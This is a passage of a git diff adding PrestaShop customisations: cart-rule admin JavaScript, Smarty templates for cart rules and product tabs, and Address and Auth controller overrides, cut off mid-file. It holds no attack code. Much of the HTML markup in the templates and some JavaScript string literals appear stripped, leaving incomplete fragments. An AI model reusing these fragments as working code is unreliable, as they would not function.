+* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function addProductRuleGroup() +{ + $('#product_rule_group_table').show(); + product_rule_groups_counter += 1; + product_rule_counters[product_rule_groups_counter] = 0; + + $.get( + 'ajax-tab.php', + {controller:'AdminCartRules',token:currentToken,newProductRuleGroup:1,product_rule_group_id:product_rule_groups_counter}, + function(content) { + if (content != "") + $('#product_rule_group_table').append(content); + } + ); +} + +function removeProductRuleGroup(id) +{ + $('#product_rule_group_' + id + '_tr').remove(); +} + +function addProductRule(product_rule_group_id) +{ + product_rule_counters[product_rule_group_id] += 1; + if ($('#product_rule_type_' + product_rule_group_id).val() != 0) + $.get( + 'ajax-tab.php', + {controller:'AdminCartRules',token:currentToken,newProductRule:1,product_rule_type:$('#product_rule_type_' + product_rule_group_id).val(),product_rule_group_id:product_rule_group_id,product_rule_id:product_rule_counters[product_rule_group_id]}, + function(content) { + if (content != "") + $('#product_rule_table_' + product_rule_group_id).append(content); + } + ); +} + +function removeProductRule(product_rule_group_id, product_rule_id) +{ + $('#product_rule_' + product_rule_group_id + '_' + product_rule_id + '_tr').remove(); +} + +function toggleCartRuleFilter(id) +{ + if ($(id).prop('checked')) + $('#' + $(id).attr('id') + '_div').show(400); + else + $('#' + $(id).attr('id') + '_div').hide(200); +} + +function removeCartRuleOption(item) +{ + var id = $(item).attr('id').replace('_remove', ''); + $('#' + id + '_2 option:selected').remove().appendTo('#' + id + '_1'); +} + +function addCartRuleOption(item) +{ + var id = $(item).attr('id').replace('_add', ''); + $('#' + id + '_1 option:selected').remove().appendTo('#' + id + '_2'); +} + +function updateProductRuleShortDescription(item) +{ + /******* For IE: put a product in condition on cart rules *******/ + if(typeof String.prototype.trim !== 'function') { + String.prototype.trim = function() { + return this.replace(/^\s+|\s+$/g, ''); + } + } + + var id1 = $(item).attr('id').replace('_add', '').replace('_remove', ''); + var id2 = id1.replace('_select', ''); + var length = $('#' + id1 + '_2 option').length; + if (length == 1) + $('#' + id2 + '_match').val($('#' + id1 + '_2 option').first().text().trim()); + else + $('#' + id2 + '_match').val(length); +} + +var restrictions = new Array('country', 'carrier', 'group', 'cart_rule', 'shop'); +for (i in restrictions) +{ + toggleCartRuleFilter($('#' + restrictions[i] + '_restriction')); + $('#' + restrictions[i] + '_restriction').click(function() {toggleCartRuleFilter(this);}); + $('#' + restrictions[i] + '_select_remove').click(function() {removeCartRuleOption(this);}); + $('#' + restrictions[i] + '_select_add').click(function() {addCartRuleOption(this);}); +} +toggleCartRuleFilter($('#product_restriction')); +$('#product_restriction').click(function() {toggleCartRuleFilter(this);}); + +function toggleApplyDiscount(percent, amount, apply_to) +{ + if (percent) + { + $('#apply_discount_percent_div').show(400); + if ($('#apply_discount_to_product').prop('checked')) + toggleApplyDiscountTo(); + $('#apply_discount_to_cheapest').show(); + $('*[for=apply_discount_to_cheapest]').show(); + $('#apply_discount_to_selection').show(); + $('*[for=apply_discount_to_selection]').show(); + } + else + { + $('#apply_discount_percent_div').hide(200); + $('#reduction_percent').val('0'); + } + + if (amount) + { + $('#apply_discount_amount_div').show(400); + if ($('#apply_discount_to_product').prop('checked')) + toggleApplyDiscountTo(); + $('#apply_discount_to_cheapest').hide(); + $('*[for=apply_discount_to_cheapest]').hide(); + $('#apply_discount_to_cheapest').removeAttr('checked'); + $('#apply_discount_to_selection').hide(); + $('*[for=apply_discount_to_selection]').hide(); + $('#apply_discount_to_selection').removeAttr('checked'); + } + else + { + $('#apply_discount_amount_div').hide(200); + $('#reduction_amount').val('0'); + } + + if (apply_to) + $('#apply_discount_to_div').show(400); + else + { + toggleApplyDiscountTo(); + $('#apply_discount_to_div').hide(200); + } +} + +function toggleApplyDiscountTo() +{ + if ($('#apply_discount_to_product').prop('checked')) + $('#apply_discount_to_product_div').show(400); + else + { + $('#apply_discount_to_product_div').hide(200); + $('#reductionProductFilter').val(''); + if ($('#apply_discount_to_order').prop('checked')) + $('#reduction_product').val('0'); + if ($('#apply_discount_to_cheapest').prop('checked')) + $('#reduction_product').val('-1'); + if ($('#apply_discount_to_selection').prop('checked')) + $('#reduction_product').val('-2'); + } +} + +function toggleGiftProduct() +{ + if ($('#free_gift_on').prop('checked')) + $('#free_gift_div').show(400); + else + { + $('#gift_product').val('0'); + $('#giftProductFilter').val(''); + $('#free_gift_div').hide(200); + } +} + +$('#apply_discount_percent').click(function() {toggleApplyDiscount(true, false, true);}); +if ($('#apply_discount_percent').prop('checked')) + toggleApplyDiscount(true, false, true); + +$('#apply_discount_amount').click(function() {toggleApplyDiscount(false, true, true);}); +if ($('#apply_discount_amount').prop('checked')) + toggleApplyDiscount(false, true, true); + +$('#apply_discount_off').click(function() {toggleApplyDiscount(false, false, false);}); +if ($('#apply_discount_off').prop('checked')) + toggleApplyDiscount(false, false, false); + +$('#apply_discount_to_order').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_order').prop('checked')) + toggleApplyDiscountTo(); + +$('#apply_discount_to_product').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_product').prop('checked')) + toggleApplyDiscountTo(); + +$('#apply_discount_to_cheapest').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_cheapest').prop('checked')) + toggleApplyDiscountTo(); + +$('#apply_discount_to_selection').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_selection').prop('checked')) + toggleApplyDiscountTo(); + +$('#free_gift_on').click(function() {toggleGiftProduct();}); +$('#free_gift_off').click(function() {toggleGiftProduct();}); +toggleGiftProduct(); + +// Main form submit +$('#cart_rule_form').submit(function() { + if ($('#customerFilter').val() == '') + $('#id_customer').val('0'); + + for (i in restrictions) + { + if ($('#' + restrictions[i] + '_select_1 option').length == 0) + $('#' + restrictions[i] + '_restriction').removeAttr('checked'); + else + { + $('#' + restrictions[i] + '_select_2 option').each(function(i) { + $(this).attr('selected', true); + }); + } + } + + $('.product_rule_toselect option').each(function(i) { + $(this).attr('selected', true); + }); +}); + +$('#reductionProductFilter') + .autocomplete( + 'ajax-tab.php', { + minChars: 2, + max: 50, + width: 500, + selectFirst: false, + scroll: false, + dataType: 'json', + formatItem: function(data, i, max, value, term) { + return value; + }, + parse: function(data) { + var mytab = new Array(); + for (var i = 0; i < data.length; i++) + mytab[mytab.length] = { data: data[i], value: (data[i].reference + ' ' + data[i].name).trim() }; + return mytab; + }, + extraParams: { + controller: 'AdminCartRules', + token: currentToken, + reductionProductFilter: 1 + } + } + ) + .result(function(event, data, formatted) { + $('#reduction_product').val(data.id_product); + $('#reductionProductFilter').val((data.reference + ' ' + data.name).trim()); + }); + +$('#customerFilter') + .autocomplete( + 'ajax-tab.php', { + minChars: 2, + max: 50, + width: 500, + selectFirst: false, + scroll: false, + dataType: 'json', + formatItem: function(data, i, max, value, term) { + return value; + }, + parse: function(data) { + var mytab = new Array(); + for (var i = 0; i < data.length; i++) + mytab[mytab.length] = { data: data[i], value: data[i].cname + ' (' + data[i].email + ')' }; + return mytab; + }, + extraParams: { + controller: 'AdminCartRules', + token: currentToken, + customerFilter: 1 + } + } + ) + .result(function(event, data, formatted) { + $('#id_customer').val(data.id_customer); + $('#customerFilter').val(data.cname + ' (' + data.email + ')'); + }); + +function displayCartRuleTab(tab) +{ + $('.cart_rule_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#cart_rule_' + tab).show(); + $('#cart_rule_link_' + tab).addClass('selected'); + $('#currentFormTab').val(tab); +} + +$('.cart_rule_tab').hide(); +$('.tab-page').removeClass('selected'); +$('#cart_rule_' + currentFormTab).show(); +$('#cart_rule_link_' + currentFormTab).addClass('selected'); + +var date = new Date(); +var hours = date.getHours(); +if (hours < 10) + hours = "0" + hours; +var mins = date.getMinutes(); +if (mins < 10) + mins = "0" + mins; +var secs = date.getSeconds(); +if (secs < 10) + secs = "0" + secs; +$('.datepicker').datepicker({ + prevText: '', + nextText: '', + dateFormat: 'yy-mm-dd ' + hours + ':' + mins + ':' + secs +}); + +$('#giftProductFilter').typeWatch({ + captureLength: 2, + highlight: false, + wait: 100, + callback: function(){ searchProducts(); } +}); + +var gift_product_search = $('#giftProductFilter').val(); +function searchProducts() +{ + if ($('#giftProductFilter').val() == gift_product_search) + return; + gift_product_search = $('#giftProductFilter').val(); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: 'ajax-tab.php' + '?rand=' + new Date().getTime(), + async: true, + dataType: 'json', + data: { + controller: 'AdminCartRules', + token: currentToken, + action: 'searchProducts', + product_search: $('#giftProductFilter').val() + }, + success : function(res) + { + var products_found = ''; + var attributes_html = ''; + stock = {}; + + if (res.found) + { + $('#gift_products_err').hide(); + $('#gift_products_found').show(); + $.each(res.products, function() { + products_found += ''; + + attributes_html += ''; + }); + + $('#gift_product_list #gift_product').html(products_found); + $('#gift_attributes_list #gift_attributes_list_select').html(attributes_html); + displayProductAttributes(); + } + else + { + $('#products_found').hide(); + $('#products_err').html(res.notfound); + $('#products_err').show(); + } + } + }); +} + +function displayProductAttributes() +{ + if ($('#ipa_' + $('#gift_product option:selected').val() + ' option').length === 0) + $('#gift_attributes_list').hide(); + else + { + $('#gift_attributes_list').show(); + $('.id_product_attribute').hide(); + $('#ipa_' + $('#gift_product option:selected').val()).show(); + } +} \ No newline at end of file diff --git a/override/controllers/admin/templates/cart_rules/form.tpl b/override/controllers/admin/templates/cart_rules/form.tpl new file mode 100755 index 0000000..10310ae --- /dev/null +++ b/override/controllers/admin/templates/cart_rules/form.tpl @@ -0,0 +1,59 @@ +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
        {block name="leadin"}{/block}
        + + +
        + {if $currentObject->id}{/if} + +
        +

        {l s='Cart-rule information'}

        +
        + {include file='./informations.tpl'} +
        +
        +

        {l s='Cart-rule conditions'}

        +
        + {include file='controllers/cart_rules/conditions.tpl'} +
        +
        +

        {l s='Cart-rule actions'}

        +
        + {include file='controllers/cart_rules/actions.tpl'} +
        +
        +
        + + +
        +
        + + \ No newline at end of file diff --git a/override/controllers/admin/templates/cart_rules/informations.tpl b/override/controllers/admin/templates/cart_rules/informations.tpl new file mode 100755 index 0000000..901a0b9 --- /dev/null +++ b/override/controllers/admin/templates/cart_rules/informations.tpl @@ -0,0 +1,80 @@ + + + + +
        + +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +

        {l s='This will be displayed in the cart summary, as well as on the invoice.'}

        +
        + +
        + +

        {l s='For your eyes only. This will never be displayed to the customer.'}

        +
        + +
        + + {l s='(Click to generate random code)'} +

        {l s='Caution! The rule will automatically be applied if you leave this field blank.'}

        +
        + +
        +    + getFieldValue($currentObject, 'highlight')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'highlight')|intval}checked="checked"{/if} /> + +

        + {l s='If the voucher is not yet in the cart, it will be displayed in the cart summary.'} +

        +
        + +
        +    + getFieldValue($currentObject, 'partial_use')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'partial_use')|intval}checked="checked"{/if} /> + +

        + {l s='Only applicable if the voucher value is greater than the cart total.'}
        + {l s='If you do not allow partial use, the voucher value will be lowered to the total order amount. If you allow partial use, however, a new voucher will be created with the remainder.'} +

        +
        + +
        +    + getFieldValue($currentObject, 'first_order')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'first_order')|intval}checked="checked"{/if} /> + +

        + {l s='Available if is the first customer order.'} +

        +
        + +
        + +

        {l s='Cart rules are applied by priority. A cart rule with a priority of "1" will be processed before a cart rule with a priority of "2".'}

        +
        + +
        +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +
        +
        \ No newline at end of file diff --git a/override/controllers/admin/templates/index.php b/override/controllers/admin/templates/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/controllers/admin/templates/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/controllers/admin/templates/products/filtres.tpl b/override/controllers/admin/templates/products/filtres.tpl new file mode 100755 index 0000000..3d49cd8 --- /dev/null +++ b/override/controllers/admin/templates/products/filtres.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $check_product_association_ajax} +{assign var=class_input_ajax value='check_product_name '} +{else} +{assign var=class_input_ajax value=''} +{/if} + +
        +

        13. {l s='Filtres.'}

        +

        {l s='Gestion des filtres du produit'}

        + +
        +
        + + {assign var=nomTheme value=""} + {assign var=compteur value=0} + {foreach from=$productFiltres item=filtre} + + + + + + {/foreach} +
        + {if $filtre.theme_name!=$nomTheme} + {assign var=compteur value=$compteur+1} + {if $compteur<2} + + {/if} + {/if} + {assign var=nomTheme value=$filtre.theme_name} + + {if $compteur<2} +
          +
        • + 0}{foreach from=$productFiltresSelected item=productSelected}{if $productSelected.id_filtre_item=={$filtre.id_filtre}}checked="checked"{/if}{/foreach}{/if}/> + +
        • +
        + {/if} +
        + +
        +
        diff --git a/override/controllers/admin/templates/products/images.tpl b/override/controllers/admin/templates/products/images.tpl new file mode 100644 index 0000000..c6a66bc --- /dev/null +++ b/override/controllers/admin/templates/products/images.tpl @@ -0,0 +1,361 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($id_product) && isset($product)} + +

        2. {l s='Images'} ({$countImages})

        +

        {if isset($id_image)}{l s='Edit this product image'}{else}{l s='Add a new image to this product'}{/if}


        + + + + + + + + + + + + + +
        +
        + +
        +
        + +

        + {l s='Format:'} JPG, GIF, PNG. {l s='Filesize:'} {$max_image_size|string_format:"%.2f"} {l s='MB max.'} +

        +
        + + {if Tools::getValue('id_image')}{/if} +
        + + + + + + {if $shops} + {foreach from=$shops item=shop} + + {/foreach} + {/if} + + + + + + + +
        {l s='Image'}{l s='Position'}{$shop.name}{l s='Cover'}{l s='Display'}{l s='Action'}
        +
        + + + + + + {if $shops} + {foreach from=$shops item=shop} + + {/foreach} + {/if} + + + + + + + +{/if} diff --git a/override/controllers/admin/templates/products/informations.tpl b/override/controllers/admin/templates/products/informations.tpl new file mode 100755 index 0000000..83a1311 --- /dev/null +++ b/override/controllers/admin/templates/products/informations.tpl @@ -0,0 +1,614 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $check_product_association_ajax} +{assign var=class_input_ajax value='check_product_name '} +{else} +{assign var=class_input_ajax value=''} +{/if} + +
        +

        1. {l s='Info.'}

        +

        {l s='Product global information'}

        + + + {if isset($display_common_field) && $display_common_field} +
        {l s='Warning, if you change the value of fields with an orange bullet %s, the value will be changed for all other shops for this product' sprintf=$bullet_common_field}
        + {/if} + + {include file="controllers/products/multishop/check_fields.tpl" product_tab="Informations"} + +
        + +
        + + + + + + + +
        + +
        +
        + + {* global information *} + + + + + + + + + + + + + + + + +
        + {include file="controllers/products/multishop/checkbox.tpl" field="name" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + id}disabled="disabled"{/if} + id="name_{$language.id_lang}" name="name_{$language.id_lang}" + value="{$product->name[$language.id_lang]|htmlentitiesUTF8|default:''}"/> * + {l s='Invalid characters:'} <>;=#{}  + +
        + {/foreach} +
        + + {l s='Special characters allowed:'}.-_#\  +
        + {l s='(Europe, Japan)'} +
        + {l s='(US, Canada)'} +
        + {* status informations *} + + + + + + + + + + + + + + + + + + active}style="display:none"{/if} > + + + + + + + +
        + {include file="controllers/products/multishop/checkbox.tpl" field="active" type="radio" onclick=""} + + +
          +
        • + active || !$product->isAssociatedToShop()}checked="checked" {/if} /> + +
        • +
        • + active && $product->isAssociatedToShop()}checked="checked"{/if} /> + +
        • +
        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="visibility" type="default"} + + + +
        + {if isset($display_multishop_checkboxes) && $display_multishop_checkboxes} +
        +
          +
        • {include file="controllers/products/multishop/checkbox.tpl" only_checkbox="true" field="available_for_order" type="default"}
        • +
        • {include file="controllers/products/multishop/checkbox.tpl" only_checkbox="true" field="show_price" type="show_price"}
        • +
        • {include file="controllers/products/multishop/checkbox.tpl" only_checkbox="true" field="online_only" type="default"}
        • +
        +
        + {/if} + + +
        +
          +
        • + available_for_order}checked="checked"{/if} /> + +
        • +
        • + show_price}checked="checked"{/if} {if $product->available_for_order}disabled="disabled"{/if}/> + +
        • +
        • + online_only}checked="checked"{/if} /> + +
        • +
        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="condition" type="default"} + + + +
        + +
        + + + + + + + + + + {if $images} + + + + +
        + {include file="controllers/products/multishop/checkbox.tpl" field="description_short" type="tinymce" multilang="true"} + +

        ({l s='Appears in the product list(s), and on the top of the product page.'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='description_short' + input_value=$product->description_short + max=$PS_PRODUCT_SHORT_DESC_LIMIT} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="description" type="tinymce" multilang="true"} + +

        ({l s='Apparait sur la dernière page du diagnostic'})

        +
        + {include file="controllers/products/textarea_lang.tpl" languages=$languages + input_name='description' + input_value=$product->description + } +

        +
        +
        + {l s='Do you want an image associated with the product in your description?'} + {l s='Click here'}. +
        +

        +
        + + + + + + + + + + + + + + + + + + + + + + + + + {/if} + + + + + +
        + {foreach from=$languages item=language} +
        + + {l s='Forbidden characters:'} !<;>;?=+#"°{}_$%  +
        + {/foreach} +

        {l s='Tags separated by commas (e.g. dvd, dvd player, hifi)'}

        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + {include file="controllers/products/multishop/checkbox.tpl" field="tiroir_1" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + * + +
        + {/foreach} +

        {l s='Exemple : Que fait-il ?'}

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="contenu_tiroir_1" type="tinymce" multilang="true"} + +

        ({l s='Ce texte apparaitra au clic sur le titre ci-dessus'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='contenu_tiroir_1' + input_value=$product->contenu_tiroir_1} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="tiroir_2" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + * + +
        + {/foreach} +

        {l s='Exemple : Au coeur de la formule'}

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="contenu_tiroir_2" type="tinymce" multilang="true"} + +

        ({l s='Ce texte apparaitra au clic sur le titre ci-dessus'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='contenu_tiroir_2' + input_value=$product->contenu_tiroir_2} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="tiroir_3" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + * + +
        + {/foreach} +

        {l s='Exemple : Conseils d\'utilisation'}

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="contenu_tiroir_3" type="tinymce" multilang="true"} + +

        ({l s='Ce texte apparaitra au clic sur le titre ci-dessus'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='contenu_tiroir_3' + input_value=$product->contenu_tiroir_3} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="tiroir_4" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + * + +
        + {/foreach} +

        {l s='Exemple : Ingrédients'}

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="contenu_tiroir_4" type="tinymce" multilang="true"} + +

        ({l s='Ce texte apparaitra au clic sur le titre ci-dessus'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='contenu_tiroir_4' + input_value=$product->contenu_tiroir_4} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="tiroir_5" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + * + +
        + {/foreach} +

        {l s='Exemple : Récompenses'}

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="contenu_tiroir_5" type="tinymce" multilang="true"} + +

        ({l s='Ce texte apparaitra au clic sur le titre ci-dessus'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='contenu_tiroir_5' + input_value=$product->contenu_tiroir_5} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="tiroir_6" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
        + * + +
        + {/foreach} +

        {l s='Exemple : Nos points de vente'}

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="contenu_tiroir_6" type="tinymce" multilang="true"} + +

        ({l s='Ce texte apparaitra au clic sur le titre ci-dessus'})

        +
        + {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='contenu_tiroir_6' + input_value=$product->contenu_tiroir_6} +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="video_1" type="tinymce" multilang="true"} + +

        ({l s='Iframe youtube'})

        +
        +
        + {foreach from=$languages item=language} +
        + +
        + {/foreach} +
        +

        +
        + {include file="controllers/products/multishop/checkbox.tpl" field="video_2" type="default" multilang="true"} + +

        ({l s='Iframe youtube'})

        +
        +
        + {foreach from=$languages item=language} +
        + +
        + {/foreach} +
        + +

        +
        + +
        +
        diff --git a/override/controllers/front/AddressController.php b/override/controllers/front/AddressController.php new file mode 100755 index 0000000..ac31125 --- /dev/null +++ b/override/controllers/front/AddressController.php @@ -0,0 +1,39 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AddressController extends AddressControllerCore +{ + + /** + * Set default medias for this controller + */ + public function setMedia() + { + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + parent::setMedia(); + // $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + } +} diff --git a/override/controllers/front/AuthController.php b/override/controllers/front/AuthController.php new file mode 100755 index 0000000..821ca56 --- /dev/null +++ b/override/controllers/front/AuthController.php @@ -0,0 +1,322 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AuthController extends AuthControllerCore +{ + public function init() + { + if (Tools::getValue('refresh')) + Tools::redirect('index.php?controller=authentication?back=order&step=1'); + if (Tools::getValue('step') && $this->context->customer->isLogged() && !$this->ajax) + Tools::redirect('index.php?controller=order?step=1'); + + parent::init(); + + } + protected function processSubmitAccount() + { + Hook::exec('actionBeforeSubmitAccount'); + $this->create_account = true; + if (Tools::isSubmit('submitAccount')) + $this->context->smarty->assign('email_create', 1); + // New Guest customer + if (Tools::getValue('passwd')!=Tools::getValue('passwdconfirm')) + $this->errors[] = Tools::displayError('Votre mot de passe est différent de la confirmation'); + if (!Tools::getValue('is_new_customer', 1) && !Configuration::get('PS_GUEST_CHECKOUT_ENABLED')) + $this->errors[] = Tools::displayError('You cannot create a guest account..'); + if (!Tools::getValue('is_new_customer', 1)) + $_POST['passwd'] = md5(time()._COOKIE_KEY_); + if (isset($_POST['guest_email']) && $_POST['guest_email']) + $_POST['email'] = $_POST['guest_email']; + // Checked the user address in case he changed his email address + if (Validate::isEmail($email = Tools::getValue('email')) && !empty($email)) + if (Customer::customerExists($email)) + $this->errors[] = Tools::displayError('An account using this email address has already been registered.', false); + // Preparing customer + $customer = new Customer(); + $lastnameAddress = Tools::getValue('lastname'); + $firstnameAddress = Tools::getValue('firstname'); + $_POST['lastname'] = Tools::getValue('customer_lastname'); + $_POST['firstname'] = Tools::getValue('customer_firstname'); + + /* + $error_phone = false; + if (Configuration::get('PS_ONE_PHONE_AT_LEAST')) + { + if (Tools::isSubmit('submitGuestAccount') || !Tools::getValue('is_new_customer')) + { + // if (!Tools::getValue('phone') && !Tools::getValue('phone_mobile')) + if (!Tools::getValue('phone')) + $error_phone = true; + } + elseif (((Configuration::get('PS_REGISTRATION_PROCESS_TYPE') || Configuration::get('PS_ORDER_PROCESS_TYPE')) + && (Configuration::get('PS_ORDER_PROCESS_TYPE') && !Tools::getValue('email_create'))) + // && (!Tools::getValue('phone') && !Tools::getValue('phone_mobile'))) + && (!Tools::getValue('phone')) ) + $error_phone = true; + elseif (((Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && Configuration::get('PS_ORDER_PROCESS_TYPE') && Tools::getValue('email_create'))) + // && (!Tools::getValue('phone') && !Tools::getValue('phone_mobile'))) + && (!Tools::getValue('phone')) ) + $error_phone = true; + } + */ + + if (!Tools::getValue('passwdconfirm')) + $this->errors[] = Tools::displayError('Votre confirmation de mot de passe ne doit pas être vide'); + // if ($error_phone) + // $this->errors[] = Tools::displayError('Merci de renseigner votre numéro de téléphone fixe.'); + + $this->errors = array_unique(array_merge($this->errors, $customer->validateController())); + + // Check the requires fields which are settings in the BO + $this->errors = array_merge($this->errors, $customer->validateFieldsRequiredDatabase()); + + if (!Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && !$this->ajax && !Tools::isSubmit('submitGuestAccount')) + { + if (!count($this->errors)) + { + if (Tools::isSubmit('newsletter')) + $this->processCustomerNewsletter($customer); + + $customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + if (!Validate::isBirthDate($customer->birthday)) + $this->errors[] = Tools::displayError('Invalid date of birth.'); + + // New Guest customer + $customer->is_guest = (Tools::isSubmit('is_new_customer') ? !Tools::getValue('is_new_customer', 1) : 0); + $customer->active = 1; + + if (!count($this->errors)) + { + if ($customer->add()) + { + if (!$customer->is_guest) + if (!$this->sendConfirmationMail($customer)) + $this->errors[] = Tools::displayError('The email cannot be sent.'); + + $this->updateContext($customer); + + $this->context->cart->update(); + Hook::exec('actionCustomerAccountAdd', array( + '_POST' => $_POST, + 'newCustomer' => $customer + )); + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'isSaved' => true, + 'id_customer' => (int)$this->context->cookie->id_customer, + 'id_address_delivery' => $this->context->cart->id_address_delivery, + 'id_address_invoice' => $this->context->cart->id_address_invoice, + 'token' => Tools::getToken(false) + ); + die(Tools::jsonEncode($return)); + } + + if ($back = Tools::getValue('back')){ + if (count($this->context->cart->getProducts(true)) > 0){ + Tools::redirect('index.php?controller=order&multi-shipping='.(int)Tools::getValue('multi-shipping').'&finish_registration=1'); + }else{ + Tools::redirect(html_entity_decode($back).'&finish_registration=1'); + } + } + + + // redirection: if cart is not empty : redirection to the cart + if (count($this->context->cart->getProducts(true)) > 0) + Tools::redirect('index.php?controller=order&multi-shipping='.(int)Tools::getValue('multi-shipping').'&finish_registration=1'); + // else : redirection to the account + else + Tools::redirect('index.php?controller='.(($this->authRedirection !== false) ? url_encode($this->authRedirection) : 'my-account').'&finish_registration=1'); + } + else + $this->errors[] = Tools::displayError('An error occurred while creating your account..'); + } + } + + } + else // if registration type is in one step, we save the address + { + // Preparing address + $address = new Address(); + $_POST['lastname'] = $lastnameAddress; + $_POST['firstname'] = 